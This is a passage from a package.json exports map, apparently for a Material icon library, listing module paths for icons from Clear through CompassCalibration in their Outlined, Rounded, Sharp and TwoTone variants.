\"default\": \"./ClearRounded.mjs\"\n    },\n    \"./ClearSharp\": {\n      \"require\": \"./ClearSharp.js\",\n      \"import\": \"./ClearSharp.mjs\",\n      \"default\": \"./ClearSharp.mjs\"\n    },\n    \"./ClearTwoTone\": {\n      \"require\": \"./ClearTwoTone.js\",\n      \"import\": \"./ClearTwoTone.mjs\",\n      \"default\": \"./ClearTwoTone.mjs\"\n    },\n    \"./Close\": {\n      \"require\": \"./Close.js\",\n      \"import\": \"./Close.mjs\",\n      \"default\": \"./Close.mjs\"\n    },\n    \"./CloseFullscreen\": {\n      \"require\": \"./CloseFullscreen.js\",\n      \"import\": \"./CloseFullscreen.mjs\",\n      \"default\": \"./CloseFullscreen.mjs\"\n    },\n    \"./CloseFullscreenOutlined\": {\n      \"require\": \"./CloseFullscreenOutlined.js\",\n      \"import\": \"./CloseFullscreenOutlined.mjs\",\n      \"default\": \"./CloseFullscreenOutlined.mjs\"\n    },\n    \"./CloseFullscreenRounded\": {\n      \"require\": \"./CloseFullscreenRounded.js\",\n      \"import\": \"./CloseFullscreenRounded.mjs\",\n      \"default\": \"./CloseFullscreenRounded.mjs\"\n    },\n    \"./CloseFullscreenSharp\": {\n      \"require\": \"./CloseFullscreenSharp.js\",\n      \"import\": \"./CloseFullscreenSharp.mjs\",\n      \"default\": \"./CloseFullscreenSharp.mjs\"\n    },\n    \"./CloseFullscreenTwoTone\": {\n      \"require\": \"./CloseFullscreenTwoTone.js\",\n      \"import\": \"./CloseFullscreenTwoTone.mjs\",\n      \"default\": \"./CloseFullscreenTwoTone.mjs\"\n    },\n    \"./CloseOutlined\": {\n      \"require\": \"./CloseOutlined.js\",\n      \"import\": \"./CloseOutlined.mjs\",\n      \"default\": \"./CloseOutlined.mjs\"\n    },\n    \"./CloseRounded\": {\n      \"require\": \"./CloseRounded.js\",\n      \"import\": \"./CloseRounded.mjs\",\n      \"default\": \"./CloseRounded.mjs\"\n    },\n    \"./CloseSharp\": {\n      \"require\": \"./CloseSharp.js\",\n      \"import\": \"./CloseSharp.mjs\",\n      \"default\": \"./CloseSharp.mjs\"\n    },\n    \"./CloseTwoTone\": {\n      \"require\": \"./CloseTwoTone.js\",\n      \"import\": \"./CloseTwoTone.mjs\",\n      \"default\": \"./CloseTwoTone.mjs\"\n    },\n    \"./ClosedCaption\": {\n      \"require\": \"./ClosedCaption.js\",\n      \"import\": \"./ClosedCaption.mjs\",\n      \"default\": \"./ClosedCaption.mjs\"\n    },\n    \"./ClosedCaptionDisabled\": {\n      \"require\": \"./ClosedCaptionDisabled.js\",\n      \"import\": \"./ClosedCaptionDisabled.mjs\",\n      \"default\": \"./ClosedCaptionDisabled.mjs\"\n    },\n    \"./ClosedCaptionDisabledOutlined\": {\n      \"require\": \"./ClosedCaptionDisabledOutlined.js\",\n      \"import\": \"./ClosedCaptionDisabledOutlined.mjs\",\n      \"default\": \"./ClosedCaptionDisabledOutlined.mjs\"\n    },\n    \"./ClosedCaptionDisabledRounded\": {\n      \"require\": \"./ClosedCaptionDisabledRounded.js\",\n      \"import\": \"./ClosedCaptionDisabledRounded.mjs\",\n      \"default\": \"./ClosedCaptionDisabledRounded.mjs\"\n    },\n    \"./ClosedCaptionDisabledSharp\": {\n      \"require\": \"./ClosedCaptionDisabledSharp.js\",\n      \"import\": \"./ClosedCaptionDisabledSharp.mjs\",\n      \"default\": \"./ClosedCaptionDisabledSharp.mjs\"\n    },\n    \"./ClosedCaptionDisabledTwoTone\": {\n      \"require\": \"./ClosedCaptionDisabledTwoTone.js\",\n      \"import\": \"./ClosedCaptionDisabledTwoTone.mjs\",\n      \"default\": \"./ClosedCaptionDisabledTwoTone.mjs\"\n    },\n    \"./ClosedCaptionOff\": {\n      \"import\": \"./ClosedCaptionOff.mjs\",\n      \"require\": \"./ClosedCaptionOff.js\",\n      \"default\": \"./ClosedCaptionOff.mjs\"\n    },\n    \"./ClosedCaptionOffOutlined\": {\n      \"import\": \"./ClosedCaptionOffOutlined.mjs\",\n      \"require\": \"./ClosedCaptionOffOutlined.js\",\n      \"default\": \"./ClosedCaptionOffOutlined.mjs\"\n    },\n    \"./ClosedCaptionOffRounded\": {\n      \"require\": \"./ClosedCaptionOffRounded.js\",\n      \"import\": \"./ClosedCaptionOffRounded.mjs\",\n      \"default\": \"./ClosedCaptionOffRounded.mjs\"\n    },\n    \"./ClosedCaptionOffSharp\": {\n      \"require\": \"./ClosedCaptionOffSharp.js\",\n      \"import\": \"./ClosedCaptionOffSharp.mjs\",\n      \"default\": \"./ClosedCaptionOffSharp.mjs\"\n    },\n    \"./ClosedCaptionOffTwoTone\": {\n      \"require\": \"./ClosedCaptionOffTwoTone.js\",\n      \"import\": \"./ClosedCaptionOffTwoTone.mjs\",\n      \"default\": \"./ClosedCaptionOffTwoTone.mjs\"\n    },\n    \"./ClosedCaptionOutlined\": {\n      \"require\": \"./ClosedCaptionOutlined.js\",\n      \"import\": \"./ClosedCaptionOutlined.mjs\",\n      \"default\": \"./ClosedCaptionOutlined.mjs\"\n    },\n    \"./ClosedCaptionRounded\": {\n      \"require\": \"./ClosedCaptionRounded.js\",\n      \"import\": \"./ClosedCaptionRounded.mjs\",\n      \"default\": \"./ClosedCaptionRounded.mjs\"\n    },\n    \"./ClosedCaptionSharp\": {\n      \"require\": \"./ClosedCaptionSharp.js\",\n      \"import\": \"./ClosedCaptionSharp.mjs\",\n      \"default\": \"./ClosedCaptionSharp.mjs\"\n    },\n    \"./ClosedCaptionTwoTone\": {\n      \"require\": \"./ClosedCaptionTwoTone.js\",\n      \"import\": \"./ClosedCaptionTwoTone.mjs\",\n      \"default\": \"./ClosedCaptionTwoTone.mjs\"\n    },\n    \"./Cloud\": {\n      \"require\": \"./Cloud.js\",\n      \"import\": \"./Cloud.mjs\",\n      \"default\": \"./Cloud.mjs\"\n    },\n    \"./CloudCircle\": {\n      \"require\": \"./CloudCircle.js\",\n      \"import\": \"./CloudCircle.mjs\",\n      \"default\": \"./CloudCircle.mjs\"\n    },\n    \"./CloudCircleOutlined\": {\n      \"require\": \"./CloudCircleOutlined.js\",\n      \"import\": \"./CloudCircleOutlined.mjs\",\n      \"default\": \"./CloudCircleOutlined.mjs\"\n    },\n    \"./CloudCircleRounded\": {\n      \"require\": \"./CloudCircleRounded.js\",\n      \"import\": \"./CloudCircleRounded.mjs\",\n      \"default\": \"./CloudCircleRounded.mjs\"\n    },\n    \"./CloudCircleSharp\": {\n      \"require\": \"./CloudCircleSharp.js\",\n      \"import\": \"./CloudCircleSharp.mjs\",\n      \"default\": \"./CloudCircleSharp.mjs\"\n    },\n    \"./CloudCircleTwoTone\": {\n      \"require\": \"./CloudCircleTwoTone.js\",\n      \"import\": \"./CloudCircleTwoTone.mjs\",\n      \"default\": \"./CloudCircleTwoTone.mjs\"\n    },\n    \"./CloudDone\": {\n      \"require\": \"./CloudDone.js\",\n      \"import\": \"./CloudDone.mjs\",\n      \"default\": \"./CloudDone.mjs\"\n    },\n    \"./CloudDoneOutlined\": {\n      \"require\": \"./CloudDoneOutlined.js\",\n      \"import\": \"./CloudDoneOutlined.mjs\",\n      \"default\": \"./CloudDoneOutlined.mjs\"\n    },\n    \"./CloudDoneRounded\": {\n      \"require\": \"./CloudDoneRounded.js\",\n      \"import\": \"./CloudDoneRounded.mjs\",\n      \"default\": \"./CloudDoneRounded.mjs\"\n    },\n    \"./CloudDoneSharp\": {\n      \"require\": \"./CloudDoneSharp.js\",\n      \"import\": \"./CloudDoneSharp.mjs\",\n      \"default\": \"./CloudDoneSharp.mjs\"\n    },\n    \"./CloudDoneTwoTone\": {\n      \"require\": \"./CloudDoneTwoTone.js\",\n      \"import\": \"./CloudDoneTwoTone.mjs\",\n      \"default\": \"./CloudDoneTwoTone.mjs\"\n    },\n    \"./CloudDownload\": {\n      \"require\": \"./CloudDownload.js\",\n      \"import\": \"./CloudDownload.mjs\",\n      \"default\": \"./CloudDownload.mjs\"\n    },\n    \"./CloudDownloadOutlined\": {\n      \"require\": \"./CloudDownloadOutlined.js\",\n      \"import\": \"./CloudDownloadOutlined.mjs\",\n      \"default\": \"./CloudDownloadOutlined.mjs\"\n    },\n    \"./CloudDownloadRounded\": {\n      \"require\": \"./CloudDownloadRounded.js\",\n      \"import\": \"./CloudDownloadRounded.mjs\",\n      \"default\": \"./CloudDownloadRounded.mjs\"\n    },\n    \"./CloudDownloadSharp\": {\n      \"require\": \"./CloudDownloadSharp.js\",\n      \"import\": \"./CloudDownloadSharp.mjs\",\n      \"default\": \"./CloudDownloadSharp.mjs\"\n    },\n    \"./CloudDownloadTwoTone\": {\n      \"require\": \"./CloudDownloadTwoTone.js\",\n      \"import\": \"./CloudDownloadTwoTone.mjs\",\n      \"default\": \"./CloudDownloadTwoTone.mjs\"\n    },\n    \"./CloudOff\": {\n      \"require\": \"./CloudOff.js\",\n      \"import\": \"./CloudOff.mjs\",\n      \"default\": \"./CloudOff.mjs\"\n    },\n    \"./CloudOffOutlined\": {\n      \"require\": \"./CloudOffOutlined.js\",\n      \"import\": \"./CloudOffOutlined.mjs\",\n      \"default\": \"./CloudOffOutlined.mjs\"\n    },\n    \"./CloudOffRounded\": {\n      \"require\": \"./CloudOffRounded.js\",\n      \"import\": \"./CloudOffRounded.mjs\",\n      \"default\": \"./CloudOffRounded.mjs\"\n    },\n    \"./CloudOffSharp\": {\n      \"require\": \"./CloudOffSharp.js\",\n      \"import\": \"./CloudOffSharp.mjs\",\n      \"default\": \"./CloudOffSharp.mjs\"\n    },\n    \"./CloudOffTwoTone\": {\n      \"require\": \"./CloudOffTwoTone.js\",\n      \"import\": \"./CloudOffTwoTone.mjs\",\n      \"default\": \"./CloudOffTwoTone.mjs\"\n    },\n    \"./CloudOutlined\": {\n      \"require\": \"./CloudOutlined.js\",\n      \"import\": \"./CloudOutlined.mjs\",\n      \"default\": \"./CloudOutlined.mjs\"\n    },\n    \"./CloudQueue\": {\n      \"require\": \"./CloudQueue.js\",\n      \"import\": \"./CloudQueue.mjs\",\n      \"default\": \"./CloudQueue.mjs\"\n    },\n    \"./CloudQueueOutlined\": {\n      \"require\": \"./CloudQueueOutlined.js\",\n      \"import\": \"./CloudQueueOutlined.mjs\",\n      \"default\": \"./CloudQueueOutlined.mjs\"\n    },\n    \"./CloudQueueRounded\": {\n      \"require\": \"./CloudQueueRounded.js\",\n      \"import\": \"./CloudQueueRounded.mjs\",\n      \"default\": \"./CloudQueueRounded.mjs\"\n    },\n    \"./CloudQueueSharp\": {\n      \"require\": \"./CloudQueueSharp.js\",\n      \"import\": \"./CloudQueueSharp.mjs\",\n      \"default\": \"./CloudQueueSharp.mjs\"\n    },\n    \"./CloudQueueTwoTone\": {\n      \"require\": \"./CloudQueueTwoTone.js\",\n      \"import\": \"./CloudQueueTwoTone.mjs\",\n      \"default\": \"./CloudQueueTwoTone.mjs\"\n    },\n    \"./CloudRounded\": {\n      \"require\": \"./CloudRounded.js\",\n      \"import\": \"./CloudRounded.mjs\",\n      \"default\": \"./CloudRounded.mjs\"\n    },\n    \"./CloudSharp\": {\n      \"require\": \"./CloudSharp.js\",\n      \"import\": \"./CloudSharp.mjs\",\n      \"default\": \"./CloudSharp.mjs\"\n    },\n    \"./CloudSync\": {\n      \"require\": \"./CloudSync.js\",\n      \"import\": \"./CloudSync.mjs\",\n      \"default\": \"./CloudSync.mjs\"\n    },\n    \"./CloudSyncOutlined\": {\n      \"require\": \"./CloudSyncOutlined.js\",\n      \"import\": \"./CloudSyncOutlined.mjs\",\n      \"default\": \"./CloudSyncOutlined.mjs\"\n    },\n    \"./CloudSyncRounded\": {\n      \"require\": \"./CloudSyncRounded.js\",\n      \"import\": \"./CloudSyncRounded.mjs\",\n      \"default\": \"./CloudSyncRounded.mjs\"\n    },\n    \"./CloudSyncSharp\": {\n      \"require\": \"./CloudSyncSharp.js\",\n      \"import\": \"./CloudSyncSharp.mjs\",\n      \"default\": \"./CloudSyncSharp.mjs\"\n    },\n    \"./CloudSyncTwoTone\": {\n      \"require\": \"./CloudSyncTwoTone.js\",\n      \"import\": \"./CloudSyncTwoTone.mjs\",\n      \"default\": \"./CloudSyncTwoTone.mjs\"\n    },\n    \"./CloudTwoTone\": {\n      \"require\": \"./CloudTwoTone.js\",\n      \"import\": \"./CloudTwoTone.mjs\",\n      \"default\": \"./CloudTwoTone.mjs\"\n    },\n    \"./CloudUpload\": {\n      \"require\": \"./CloudUpload.js\",\n      \"import\": \"./CloudUpload.mjs\",\n      \"default\": \"./CloudUpload.mjs\"\n    },\n    \"./CloudUploadOutlined\": {\n      \"require\": \"./CloudUploadOutlined.js\",\n      \"import\": \"./CloudUploadOutlined.mjs\",\n      \"default\": \"./CloudUploadOutlined.mjs\"\n    },\n    \"./CloudUploadRounded\": {\n      \"require\": \"./CloudUploadRounded.js\",\n      \"import\": \"./CloudUploadRounded.mjs\",\n      \"default\": \"./CloudUploadRounded.mjs\"\n    },\n    \"./CloudUploadSharp\": {\n      \"require\": \"./CloudUploadSharp.js\",\n      \"import\": \"./CloudUploadSharp.mjs\",\n      \"default\": \"./CloudUploadSharp.mjs\"\n    },\n    \"./CloudUploadTwoTone\": {\n      \"require\": \"./CloudUploadTwoTone.js\",\n      \"import\": \"./CloudUploadTwoTone.mjs\",\n      \"default\": \"./CloudUploadTwoTone.mjs\"\n    },\n    \"./CloudySnowing\": {\n      \"require\": \"./CloudySnowing.js\",\n      \"import\": \"./CloudySnowing.mjs\",\n      \"default\": \"./CloudySnowing.mjs\"\n    },\n    \"./Co2\": {\n      \"import\": \"./Co2.mjs\",\n      \"require\": \"./Co2.js\",\n      \"default\": \"./Co2.mjs\"\n    },\n    \"./Co2Outlined\": {\n      \"import\": \"./Co2Outlined.mjs\",\n      \"require\": \"./Co2Outlined.js\",\n      \"default\": \"./Co2Outlined.mjs\"\n    },\n    \"./Co2Rounded\": {\n      \"import\": \"./Co2Rounded.mjs\",\n      \"require\": \"./Co2Rounded.js\",\n      \"default\": \"./Co2Rounded.mjs\"\n    },\n    \"./Co2Sharp\": {\n      \"import\": \"./Co2Sharp.mjs\",\n      \"require\": \"./Co2Sharp.js\",\n      \"default\": \"./Co2Sharp.mjs\"\n    },\n    \"./Co2TwoTone\": {\n      \"import\": \"./Co2TwoTone.mjs\",\n      \"require\": \"./Co2TwoTone.js\",\n      \"default\": \"./Co2TwoTone.mjs\"\n    },\n    \"./CoPresent\": {\n      \"require\": \"./CoPresent.js\",\n      \"import\": \"./CoPresent.mjs\",\n      \"default\": \"./CoPresent.mjs\"\n    },\n    \"./CoPresentOutlined\": {\n      \"import\": \"./CoPresentOutlined.mjs\",\n      \"require\": \"./CoPresentOutlined.js\",\n      \"default\": \"./CoPresentOutlined.mjs\"\n    },\n    \"./CoPresentRounded\": {\n      \"import\": \"./CoPresentRounded.mjs\",\n      \"require\": \"./CoPresentRounded.js\",\n      \"default\": \"./CoPresentRounded.mjs\"\n    },\n    \"./CoPresentSharp\": {\n      \"import\": \"./CoPresentSharp.mjs\",\n      \"require\": \"./CoPresentSharp.js\",\n      \"default\": \"./CoPresentSharp.mjs\"\n    },\n    \"./CoPresentTwoTone\": {\n      \"import\": \"./CoPresentTwoTone.mjs\",\n      \"require\": \"./CoPresentTwoTone.js\",\n      \"default\": \"./CoPresentTwoTone.mjs\"\n    },\n    \"./Code\": {\n      \"import\": \"./Code.mjs\",\n      \"require\": \"./Code.js\",\n      \"default\": \"./Code.mjs\"\n    },\n    \"./CodeOff\": {\n      \"import\": \"./CodeOff.mjs\",\n      \"require\": \"./CodeOff.js\",\n      \"default\": \"./CodeOff.mjs\"\n    },\n    \"./CodeOffOutlined\": {\n      \"import\": \"./CodeOffOutlined.mjs\",\n      \"require\": \"./CodeOffOutlined.js\",\n      \"default\": \"./CodeOffOutlined.mjs\"\n    },\n    \"./CodeOffRounded\": {\n      \"import\": \"./CodeOffRounded.mjs\",\n      \"require\": \"./CodeOffRounded.js\",\n      \"default\": \"./CodeOffRounded.mjs\"\n    },\n    \"./CodeOffSharp\": {\n      \"import\": \"./CodeOffSharp.mjs\",\n      \"require\": \"./CodeOffSharp.js\",\n      \"default\": \"./CodeOffSharp.mjs\"\n    },\n    \"./CodeOffTwoTone\": {\n      \"import\": \"./CodeOffTwoTone.mjs\",\n      \"require\": \"./CodeOffTwoTone.js\",\n      \"default\": \"./CodeOffTwoTone.mjs\"\n    },\n    \"./CodeOutlined\": {\n      \"require\": \"./CodeOutlined.js\",\n      \"import\": \"./CodeOutlined.mjs\",\n      \"default\": \"./CodeOutlined.mjs\"\n    },\n    \"./CodeRounded\": {\n      \"require\": \"./CodeRounded.js\",\n      \"import\": \"./CodeRounded.mjs\",\n      \"default\": \"./CodeRounded.mjs\"\n    },\n    \"./CodeSharp\": {\n      \"require\": \"./CodeSharp.js\",\n      \"import\": \"./CodeSharp.mjs\",\n      \"default\": \"./CodeSharp.mjs\"\n    },\n    \"./CodeTwoTone\": {\n      \"require\": \"./CodeTwoTone.js\",\n      \"import\": \"./CodeTwoTone.mjs\",\n      \"default\": \"./CodeTwoTone.mjs\"\n    },\n    \"./Coffee\": {\n      \"require\": \"./Coffee.js\",\n      \"import\": \"./Coffee.mjs\",\n      \"default\": \"./Coffee.mjs\"\n    },\n    \"./CoffeeMaker\": {\n      \"require\": \"./CoffeeMaker.js\",\n      \"import\": \"./CoffeeMaker.mjs\",\n      \"default\": \"./CoffeeMaker.mjs\"\n    },\n    \"./CoffeeMakerOutlined\": {\n      \"require\": \"./CoffeeMakerOutlined.js\",\n      \"import\": \"./CoffeeMakerOutlined.mjs\",\n      \"default\": \"./CoffeeMakerOutlined.mjs\"\n    },\n    \"./CoffeeMakerRounded\": {\n      \"require\": \"./CoffeeMakerRounded.js\",\n      \"import\": \"./CoffeeMakerRounded.mjs\",\n      \"default\": \"./CoffeeMakerRounded.mjs\"\n    },\n    \"./CoffeeMakerSharp\": {\n      \"require\": \"./CoffeeMakerSharp.js\",\n      \"import\": \"./CoffeeMakerSharp.mjs\",\n      \"default\": \"./CoffeeMakerSharp.mjs\"\n    },\n    \"./CoffeeMakerTwoTone\": {\n      \"require\": \"./CoffeeMakerTwoTone.js\",\n      \"import\": \"./CoffeeMakerTwoTone.mjs\",\n      \"default\": \"./CoffeeMakerTwoTone.mjs\"\n    },\n    \"./CoffeeOutlined\": {\n      \"require\": \"./CoffeeOutlined.js\",\n      \"import\": \"./CoffeeOutlined.mjs\",\n      \"default\": \"./CoffeeOutlined.mjs\"\n    },\n    \"./CoffeeRounded\": {\n      \"import\": \"./CoffeeRounded.mjs\",\n      \"require\": \"./CoffeeRounded.js\",\n      \"default\": \"./CoffeeRounded.mjs\"\n    },\n    \"./CoffeeSharp\": {\n      \"import\": \"./CoffeeSharp.mjs\",\n      \"require\": \"./CoffeeSharp.js\",\n      \"default\": \"./CoffeeSharp.mjs\"\n    },\n    \"./CoffeeTwoTone\": {\n      \"require\": \"./CoffeeTwoTone.js\",\n      \"import\": \"./CoffeeTwoTone.mjs\",\n      \"default\": \"./CoffeeTwoTone.mjs\"\n    },\n    \"./Collections\": {\n      \"require\": \"./Collections.js\",\n      \"import\": \"./Collections.mjs\",\n      \"default\": \"./Collections.mjs\"\n    },\n    \"./CollectionsBookmark\": {\n      \"require\": \"./CollectionsBookmark.js\",\n      \"import\": \"./CollectionsBookmark.mjs\",\n      \"default\": \"./CollectionsBookmark.mjs\"\n    },\n    \"./CollectionsBookmarkOutlined\": {\n      \"require\": \"./CollectionsBookmarkOutlined.js\",\n      \"import\": \"./CollectionsBookmarkOutlined.mjs\",\n      \"default\": \"./CollectionsBookmarkOutlined.mjs\"\n    },\n    \"./CollectionsBookmarkRounded\": {\n      \"require\": \"./CollectionsBookmarkRounded.js\",\n      \"import\": \"./CollectionsBookmarkRounded.mjs\",\n      \"default\": \"./CollectionsBookmarkRounded.mjs\"\n    },\n    \"./CollectionsBookmarkSharp\": {\n      \"import\": \"./CollectionsBookmarkSharp.mjs\",\n      \"require\": \"./CollectionsBookmarkSharp.js\",\n      \"default\": \"./CollectionsBookmarkSharp.mjs\"\n    },\n    \"./CollectionsBookmarkTwoTone\": {\n      \"import\": \"./CollectionsBookmarkTwoTone.mjs\",\n      \"require\": \"./CollectionsBookmarkTwoTone.js\",\n      \"default\": \"./CollectionsBookmarkTwoTone.mjs\"\n    },\n    \"./CollectionsOutlined\": {\n      \"import\": \"./CollectionsOutlined.mjs\",\n      \"require\": \"./CollectionsOutlined.js\",\n      \"default\": \"./CollectionsOutlined.mjs\"\n    },\n    \"./CollectionsRounded\": {\n      \"import\": \"./CollectionsRounded.mjs\",\n      \"require\": \"./CollectionsRounded.js\",\n      \"default\": \"./CollectionsRounded.mjs\"\n    },\n    \"./CollectionsSharp\": {\n      \"require\": \"./CollectionsSharp.js\",\n      \"import\": \"./CollectionsSharp.mjs\",\n      \"default\": \"./CollectionsSharp.mjs\"\n    },\n    \"./CollectionsTwoTone\": {\n      \"require\": \"./CollectionsTwoTone.js\",\n      \"import\": \"./CollectionsTwoTone.mjs\",\n      \"default\": \"./CollectionsTwoTone.mjs\"\n    },\n    \"./ColorLens\": {\n      \"require\": \"./ColorLens.js\",\n      \"import\": \"./ColorLens.mjs\",\n      \"default\": \"./ColorLens.mjs\"\n    },\n    \"./ColorLensOutlined\": {\n      \"require\": \"./ColorLensOutlined.js\",\n      \"import\": \"./ColorLensOutlined.mjs\",\n      \"default\": \"./ColorLensOutlined.mjs\"\n    },\n    \"./ColorLensRounded\": {\n      \"import\": \"./ColorLensRounded.mjs\",\n      \"require\": \"./ColorLensRounded.js\",\n      \"default\": \"./ColorLensRounded.mjs\"\n    },\n    \"./ColorLensSharp\": {\n      \"import\": \"./ColorLensSharp.mjs\",\n      \"require\": \"./ColorLensSharp.js\",\n      \"default\": \"./ColorLensSharp.mjs\"\n    },\n    \"./ColorLensTwoTone\": {\n      \"import\": \"./ColorLensTwoTone.mjs\",\n      \"require\": \"./ColorLensTwoTone.js\",\n      \"default\": \"./ColorLensTwoTone.mjs\"\n    },\n    \"./Colorize\": {\n      \"import\": \"./Colorize.mjs\",\n      \"require\": \"./Colorize.js\",\n      \"default\": \"./Colorize.mjs\"\n    },\n    \"./ColorizeOutlined\": {\n      \"import\": \"./ColorizeOutlined.mjs\",\n      \"require\": \"./ColorizeOutlined.js\",\n      \"default\": \"./ColorizeOutlined.mjs\"\n    },\n    \"./ColorizeRounded\": {\n      \"import\": \"./ColorizeRounded.mjs\",\n      \"require\": \"./ColorizeRounded.js\",\n      \"default\": \"./ColorizeRounded.mjs\"\n    },\n    \"./ColorizeSharp\": {\n      \"import\": \"./ColorizeSharp.mjs\",\n      \"require\": \"./ColorizeSharp.js\",\n      \"default\": \"./ColorizeSharp.mjs\"\n    },\n    \"./ColorizeTwoTone\": {\n      \"import\": \"./ColorizeTwoTone.mjs\",\n      \"require\": \"./ColorizeTwoTone.js\",\n      \"default\": \"./ColorizeTwoTone.mjs\"\n    },\n    \"./Comment\": {\n      \"import\": \"./Comment.mjs\",\n      \"require\": \"./Comment.js\",\n      \"default\": \"./Comment.mjs\"\n    },\n    \"./CommentBank\": {\n      \"import\": \"./CommentBank.mjs\",\n      \"require\": \"./CommentBank.js\",\n      \"default\": \"./CommentBank.mjs\"\n    },\n    \"./CommentBankOutlined\": {\n      \"import\": \"./CommentBankOutlined.mjs\",\n      \"require\": \"./CommentBankOutlined.js\",\n      \"default\": \"./CommentBankOutlined.mjs\"\n    },\n    \"./CommentBankRounded\": {\n      \"import\": \"./CommentBankRounded.mjs\",\n      \"require\": \"./CommentBankRounded.js\",\n      \"default\": \"./CommentBankRounded.mjs\"\n    },\n    \"./CommentBankSharp\": {\n      \"import\": \"./CommentBankSharp.mjs\",\n      \"require\": \"./CommentBankSharp.js\",\n      \"default\": \"./CommentBankSharp.mjs\"\n    },\n    \"./CommentBankTwoTone\": {\n      \"import\": \"./CommentBankTwoTone.mjs\",\n      \"require\": \"./CommentBankTwoTone.js\",\n      \"default\": \"./CommentBankTwoTone.mjs\"\n    },\n    \"./CommentOutlined\": {\n      \"import\": \"./CommentOutlined.mjs\",\n      \"require\": \"./CommentOutlined.js\",\n      \"default\": \"./CommentOutlined.mjs\"\n    },\n    \"./CommentRounded\": {\n      \"require\": \"./CommentRounded.js\",\n      \"import\": \"./CommentRounded.mjs\",\n      \"default\": \"./CommentRounded.mjs\"\n    },\n    \"./CommentSharp\": {\n      \"require\": \"./CommentSharp.js\",\n      \"import\": \"./CommentSharp.mjs\",\n      \"default\": \"./CommentSharp.mjs\"\n    },\n    \"./CommentTwoTone\": {\n      \"require\": \"./CommentTwoTone.js\",\n      \"import\": \"./CommentTwoTone.mjs\",\n      \"default\": \"./CommentTwoTone.mjs\"\n    },\n    \"./CommentsDisabled\": {\n      \"require\": \"./CommentsDisabled.js\",\n      \"import\": \"./CommentsDisabled.mjs\",\n      \"default\": \"./CommentsDisabled.mjs\"\n    },\n    \"./CommentsDisabledOutlined\": {\n      \"require\": \"./CommentsDisabledOutlined.js\",\n      \"import\": \"./CommentsDisabledOutlined.mjs\",\n      \"default\": \"./CommentsDisabledOutlined.mjs\"\n    },\n    \"./CommentsDisabledRounded\": {\n      \"require\": \"./CommentsDisabledRounded.js\",\n      \"import\": \"./CommentsDisabledRounded.mjs\",\n      \"default\": \"./CommentsDisabledRounded.mjs\"\n    },\n    \"./CommentsDisabledSharp\": {\n      \"require\": \"./CommentsDisabledSharp.js\",\n      \"import\": \"./CommentsDisabledSharp.mjs\",\n      \"default\": \"./CommentsDisabledSharp.mjs\"\n    },\n    \"./CommentsDisabledTwoTone\": {\n      \"require\": \"./CommentsDisabledTwoTone.js\",\n      \"import\": \"./CommentsDisabledTwoTone.mjs\",\n      \"default\": \"./CommentsDisabledTwoTone.mjs\"\n    },\n    \"./Commit\": {\n      \"require\": \"./Commit.js\",\n      \"import\": \"./Commit.mjs\",\n      \"default\": \"./Commit.mjs\"\n    },\n    \"./CommitOutlined\": {\n      \"require\": \"./CommitOutlined.js\",\n      \"import\": \"./CommitOutlined.mjs\",\n      \"default\": \"./CommitOutlined.mjs\"\n    },\n    \"./CommitRounded\": {\n      \"require\": \"./CommitRounded.js\",\n      \"import\": \"./CommitRounded.mjs\",\n      \"default\": \"./CommitRounded.mjs\"\n    },\n    \"./CommitSharp\": {\n      \"require\": \"./CommitSharp.js\",\n      \"import\": \"./CommitSharp.mjs\",\n      \"default\": \"./CommitSharp.mjs\"\n    },\n    \"./CommitTwoTone\": {\n      \"require\": \"./CommitTwoTone.js\",\n      \"import\": \"./CommitTwoTone.mjs\",\n      \"default\": \"./CommitTwoTone.mjs\"\n    },\n    \"./Commute\": {\n      \"import\": \"./Commute.mjs\",\n      \"require\": \"./Commute.js\",\n      \"default\": \"./Commute.mjs\"\n    },\n    \"./CommuteOutlined\": {\n      \"require\": \"./CommuteOutlined.js\",\n      \"import\": \"./CommuteOutlined.mjs\",\n      \"default\": \"./CommuteOutlined.mjs\"\n    },\n    \"./CommuteRounded\": {\n      \"require\": \"./CommuteRounded.js\",\n      \"import\": \"./CommuteRounded.mjs\",\n      \"default\": \"./CommuteRounded.mjs\"\n    },\n    \"./CommuteSharp\": {\n      \"require\": \"./CommuteSharp.js\",\n      \"import\": \"./CommuteSharp.mjs\",\n      \"default\": \"./CommuteSharp.mjs\"\n    },\n    \"./CommuteTwoTone\": {\n      \"require\": \"./CommuteTwoTone.js\",\n      \"import\": \"./CommuteTwoTone.mjs\",\n      \"default\": \"./CommuteTwoTone.mjs\"\n    },\n    \"./Compare\": {\n      \"require\": \"./Compare.js\",\n      \"import\": \"./Compare.mjs\",\n      \"default\": \"./Compare.mjs\"\n    },\n    \"./CompareArrows\": {\n      \"require\": \"./CompareArrows.js\",\n      \"import\": \"./CompareArrows.mjs\",\n      \"default\": \"./CompareArrows.mjs\"\n    },\n    \"./CompareArrowsOutlined\": {\n      \"require\": \"./CompareArrowsOutlined.js\",\n      \"import\": \"./CompareArrowsOutlined.mjs\",\n      \"default\": \"./CompareArrowsOutlined.mjs\"\n    },\n    \"./CompareArrowsRounded\": {\n      \"require\": \"./CompareArrowsRounded.js\",\n      \"import\": \"./CompareArrowsRounded.mjs\",\n      \"default\": \"./CompareArrowsRounded.mjs\"\n    },\n    \"./CompareArrowsSharp\": {\n      \"require\": \"./CompareArrowsSharp.js\",\n      \"import\": \"./CompareArrowsSharp.mjs\",\n      \"default\": \"./CompareArrowsSharp.mjs\"\n    },\n    \"./CompareArrowsTwoTone\": {\n      \"require\": \"./CompareArrowsTwoTone.js\",\n      \"import\": \"./CompareArrowsTwoTone.mjs\",\n      \"default\": \"./CompareArrowsTwoTone.mjs\"\n    },\n    \"./CompareOutlined\": {\n      \"require\": \"./CompareOutlined.js\",\n      \"import\": \"./CompareOutlined.mjs\",\n      \"default\": \"./CompareOutlined.mjs\"\n    },\n    \"./CompareRounded\": {\n      \"require\": \"./CompareRounded.js\",\n      \"import\": \"./CompareRounded.mjs\",\n      \"default\": \"./CompareRounded.mjs\"\n    },\n    \"./CompareSharp\": {\n      \"require\": \"./CompareSharp.js\",\n      \"import\": \"./CompareSharp.mjs\",\n      \"default\": \"./CompareSharp.mjs\"\n    },\n    \"./CompareTwoTone\": {\n      \"require\": \"./CompareTwoTone.js\",\n      \"import\": \"./CompareTwoTone.mjs\",\n      \"default\": \"./CompareTwoTone.mjs\"\n    },\n    \"./CompassCalibration\": {\n      \"require\": \"./CompassCalibration.js\",\n      \"import\": \"./CompassCalibration.mjs\",\n      \"default\": \"./CompassCalibration.mjs\"\n    },\n    \"./CompassCalibrationOutlined\": {\n      \"require\": \"./CompassCalibrationOutlined.js\",\n      \"import\": \"./CompassCalibrationOutlined.mjs\",\n      \"default\": 